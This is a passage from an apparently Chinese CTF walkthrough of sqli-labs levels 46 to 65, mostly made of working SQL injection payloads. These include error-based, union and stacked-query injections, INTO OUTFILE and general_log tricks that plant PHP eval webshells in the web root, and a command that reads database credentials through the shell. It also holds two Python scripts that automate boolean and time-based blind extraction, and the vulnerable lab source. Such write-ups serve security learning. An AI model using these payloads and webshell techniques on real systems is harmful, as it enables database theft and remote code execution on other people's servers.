?sort=1' into outfile "/var/www/html/x.php" COLUMNS terminated by '<?php phpinfo(); ?>'--+
利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容
6.利用log写入
新版本的MYSQL设置了导出文件的路径,很难在获取webshell过程中去修改配置的文件,无法通过使用select into outfile来写入一句话,这时我们可以通过修改MYSQL的log文件来获取Webshell
条件:数据库用户需具备Super和File服务器的权限、需要获取物理路径
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/phpStudy/PHPTutorial/WWW/DVWA-master/evil.php'; #设置日志目录为shell地址
select '<?php phpinfo() ?>' #写入shell
set global general_log=off; #关闭general log模式
解题就跟着国光大师傅选择第二种,lines terminated by写入。
lines terminated by
姿势用于order by
的情况来 getsgell
:
**lines-terminated-by:**指定行结束符,默认值就是换行符。
0x3c706870206576616c28245f504f53545b785d293b3e 是 <php eval($_POST[x]);>
的十六进制编码。
?sort=1 into outfile "/var/www/html/xx.php" lines terminated by 0x3c706870206576616c28245f504f53545b785d293b3e
写入成功,但是这里其实应该写入phpinfo的,SQL不区分大小写,shell的POST都是小写应该无效了。不过flag应该也不在这里,在数据库里面唉。
附上国光大佬的博客。
SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)
和46关一样,但是是字符型,闭合是单引号'
。
payload:
?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
ctfshow{6a497933-6d3c-4d54-b871-5d25177d8c1f}
还是47关的页面,测试一下。
?sort=1 #回显排序结果
?sort=1--+ #回显排序结果
?sort=1'--+ #无回显,不报错
?sort=1')--+ #无回显,不报错
?sort=1"--+ #无回显,不报错
?sort=1")--+ #无回显,不报错
暂且认定这题是数字型,不用闭合。这关应该是48关,去掉了报错。
尝试写入phpinfo到文件
?sort=1 into outfile "/var/www/html/x1.php" lines terminated by '<?php phpinfo(); ?>'
可行,有权限。
但是flag不在phpinfo里面。
尝试写入shell到文件
?sort=1 into outfile "/var/www/html/x2.php" lines terminated by '<?php eval($_POST[x]); ?>'
可行,但是也找不到flag。
flag应该在数据库里面,尝试蚁剑链接shell。
查询数据库密码:system("tac ./api/config.php")
;
这里并没有抓到数据库密码,蚁剑里面自己找了。
/var/www/html/sql-connections/db-creds.inc
蚁剑首页->右键数据操作->添加
直接能得到flag
ctfshow{4b8ca2a8-ab2e-442e-bbf2-01b17ef82dba}
这里盲注(时间/布尔)也都可行,不再演示了。
和48关一样,变成了字符型,闭合是单引号'
。show上面没环境,本地打。
和46关(web564)一样。
payload:
?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
ctfshow{8feba2f1-37df-4646-93ad-6415b146ee58}
查看源码,发现使用了mysqli_multi_query()
函数。
查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,参考38关(web558),所以还比46关多了一种方式。
payload:
?sort=-1;insert into users(id,username,password) values ('17','Jay','I love 36D too')
和50关(web567)相比,变成了字符型,闭合是单引号'
。
payload:
?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
ctfshow{cfb6bc42-c5fb-476c-abe2-b7ac439926f0}
至此,CTFshow上的sqlilabs结束力,剩下的就开始本地打了。
和50关是一样的,但是没有报错。
payload:
?sort=-1;insert into users(id,username,password) values ('17',(select database()),'I love 36D too')
注意,写入字段有长度限制,一点一点读数据咯。
此外,时间和布尔盲注也是可行的。
同52,是字符型,闭合是单引号'
。
和之前大不相同。
前期探索:
题目要求我们传参id
,尝试一下。
有次数限制,最多10次。要不然就得重开了。
key输入框随便输入一个数字之后,hackbar抓包(load)。
输入框是POST提交answer_key=Submit&key=1111
总结一下就是让我们在 10 次注入测试中拿到 key 值。后期测试发现,每次到了10次,随机表名/列名都会改变。
测试闭合:
?id=1 回显DUMB的账号密码
?id=1' 无回显,不显示报错
?id=1" 回显DUMB的账号密码
?id=1"' 无回显,不显示报错
?id=1' or 1=1 无回显,不显示报错
?id=1" or 1=1 回显DUMB的账号密码
?id=1' or 1=1--+ 回显DUMB的账号密码
?id=1" or 1=1--+ 回显DUMB的账号密码
由此看来,有了不恰当的单引号会影响闭合导致报错(不显示),所以闭合应该是单引号'
。
测试回显位:
?id=-1' union select 1,2,3--+ 有回显,其他都无回显
由此看来,回显位是3。
爆库:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆表:
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges'--+
爆列:
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='随机表名'--+
爆字段:
?id=1' and 1=2 union select 1,2,group_concat(随机列名如secret_CLG5) from challenges.随机表名--+
提交KEY
做后分析源码:
<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
// Submitting the final answer
/*没提交key就进入if,提交了就进入else*/
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))/*重开按钮,点击就发送POST:reset=Reset+the+Challenge%21*/
{
/*根据时间戳生成 cookie*/
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else/*设置Cookie*/
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
echo "<br>\n";
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
/*所有我提交的id都记录在result.txt中*/
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//update the counter in database
next_tryy();/*尝试的次数写入数据库*/
//Display attempts on screen.
$tryyy = view_attempts();/*从数据库中读取尝试的次数*/
echo "You have made : ". $tryyy ." of $times attempts";/*$times=10,最多十次*/
echo "<br><br><br>\n";
//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>
<?php
}
else/*提交了key后进入,判断key是否真*/
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}
}
?>
我受益最多的是作者记录单次(不重开)尝试次数的方法,居然是从数据库写入/读出。
下图是这两个函数在源文件中的位置。在主要关卡代码中有文件包含方式注册(导入)。
算是学了一点点开发吧哈哈哈哈。
和54关一样,闭合变成了括号)
和54关一样,闭合变成了单引号+括号')
和54关一样,闭合变成了双引号"
测出闭合是单引号'
,位数是3。
但是这里联合注入用不了。
【分析源码】:
可以看见,这里的逻辑是先查询,根据查询返回用户名结果去储存用户名的数组里面找密码(密码就是用户名数组的逆序)。所以这里联合注入无效了,联合注入注入出东西用户名数组里面没有,就没有返回值。
继续往下看,发现开启了报错,所以我们可以用报错注入。
源码中查询语句基于select
,这里报错注入的语句也得基于select
。
爆库:
可行的payload:
?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1,20),3) --+
或者
?id=-1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()),0x7e))) --%20--+
或者
?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+
爆表:
?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))) --+
爆列:
?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rngu5stzlt'))))--+
爆字段:
?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(secret_EEB0) from challenges.rngu5stzlt)))) --+
结束
同时,这里也可以采用盲注。
?id=1' and if(ord(mid(database(),1,1))>65,1,0)--+ //布尔盲注,回显Angelina,dhakkan即是真
?id=1' and if((ascii(substr(database(),1,1))>888),1,sleep(3))--+
//时间盲注,睡了三秒就是不满足条件。
和58关一样,但是是数字型,无闭合。
和58关一样,闭合变成了双引号加括号")
。
和58关一样,闭合变成了单引号加两个括号'))
。
这关开始没有报错信息了。闭合是单引号加括号')'
。给了130次尝试机会。
方法一:布尔盲注
payload样例:
?id=1' and if(ord(mid(database(),1,1))>65,1,0)--+ //布尔盲注,回显Angelina,dhakkan即是真
脚本:
import requests
import time
s = requests.session() #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://192.168.3.51:1470/Less-62/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1\')%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据库:payload = f'1\')%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据表:payload = f'1\')%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
# 查询表字段:payload = f'1\')%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
# 查询字段中信息:payload = f'1\')%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
payload = f'1\')%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
方法二:时间盲注
payload样例:
?id=1' and if((ascii(substr(database(),1,1))>888),1,sleep(3))--+
//时间盲注,睡了三秒就是不满足条件。
脚本:
import requests
import time
url = 'http://192.168.3.51:1470/Less-62/?id='
content = ''
for pos in range(500):
# min_num是ascii码最小可显示符号 空格(space)
# max_num是ascii码最大可显示符号 波浪号(~)
min_num = 32
max_num = 126
mid_num = (min_num + max_num) // 2
while min_num < max_num:
# 查找数据库:payload = '1\')/*!*/and/*!*/if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)
# 查找数据库:payload = '1\')/*!*/and/*!*/if(ord(mid((select group_concat(schema_name)from information_schema.schemata),{},1))>{},1,0)--+'.format(pos, mid_num)
# 查找数据表:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=\'wfy\'),{},1))>{},1,0)--+'.format(pos, mid_num)
# 查找表中字段:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name=\'wfy_comments\'),{},1))>{},1,0)--+'.format(pos, mid_num)
# 查找数据:payload = '1\')/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments),{},1))>{},1,0)--+'.format(pos, mid_num)
# ord():返回字符串str的最左面字符的ASCII代码值
# mid():用于得到字符串的一部分
# if(expr1,expr2,expr3):如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
payload = '1\')/*!*/and/*!*/if(ord(mid((select group_concat(schema_name)from information_schema.schemata),{},1))>{},1,0)--+'.format(pos, mid_num)
res_url = url + payload
print(res_url)
resp = requests.get(url=res_url)
#time.sleep(0.5)
if 'Angelina' in resp.text:
min_num = mid_num + 1
else:
max_num = mid_num
mid_num = ((min_num + max_num) // 2)
content += chr(min_num)
print(content)
但是在实际做题中会发现,不管是时间还是布尔,130次都不够用,坚持用盲注的话得大部分手工盲注,不能纯靠脚本。
还有一种更好的办法就是方法三,师傅们继续往下看。
方法三:shell写入文件
payload:
?id=1') INTO OUTFILE "C:/phpstudy/phpstudy_pro/WWW/sqli-labs-master/xxx.php" LINES TERMINATED BY '<?php @eval($_POST[1]); ?>' -- +
然后就能执行命令,或者蚁剑链接查看数据库内所有信息(详见48关)。
和62关一样,闭合变成了单引号’`。
和62关一样,闭合变成了两个括号))
。
和62关一样,闭合变成了双引号加括号")
。
青山不改,绿水长流,我们下次见!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。